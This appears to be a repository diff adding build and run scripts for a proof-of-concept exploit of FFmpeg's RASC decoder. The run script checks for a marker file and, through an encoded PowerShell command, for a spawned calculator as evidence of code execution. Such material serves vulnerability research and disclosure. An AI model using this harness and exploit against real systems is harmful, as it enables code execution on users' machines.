"$cc" -g -O0 \
|
||||||
|
-I"$build" \
|
||||||
|
-I"$src" \
|
||||||
|
"$root/poc/ffmpeg_rasc_dlta_calc_poc.c" \
|
||||||
|
"$build/libavcodec/libavcodec.a" \
|
||||||
|
"$build/libavutil/libavutil.a" \
|
||||||
|
-lz -lm -pthread -ldl \
|
||||||
|
-o "$out"
|
||||||
|
|
||||||
|
printf '%s\n' "$out"
|
||||||
20
ffmpeg-rasc-dlta-calc-poc/scripts/run_calc_pop.sh
Executable file
20
ffmpeg-rasc-dlta-calc-poc/scripts/run_calc_pop.sh
Executable file
@@ -0,0 +1,20 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
set -euo pipefail
|
||||||
|
|
||||||
|
bin="${1:-./ffmpeg_rasc_dlta_calc_poc}"
|
||||||
|
marker="/tmp/ffmpeg_rasc_exec_demo"
|
||||||
|
|
||||||
|
rm -f "$marker"
|
||||||
|
"$bin"
|
||||||
|
sleep 2
|
||||||
|
|
||||||
|
if [ -f "$marker" ]; then
|
||||||
|
echo "marker:present"
|
||||||
|
else
|
||||||
|
echo "marker:missing"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
if command -v powershell.exe >/dev/null 2>&1; then
|
||||||
|
powershell.exe -NoProfile -EncodedCommand RwBlAHQALQBQAHIAbwBjAGUAcwBzACAAQwBhAGwAYwB1AGwAYQB0AG8AcgBBAHAAcAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAAUAByAG8AYwBlAHMAcwBOAGEAbQBlACwASQBkACwAUwB0AGEAcgB0AFQAaQBtAGUA 2>/dev/null || true
|
||||||
|
fi
|
||||||
Reference in New Issue
Block a user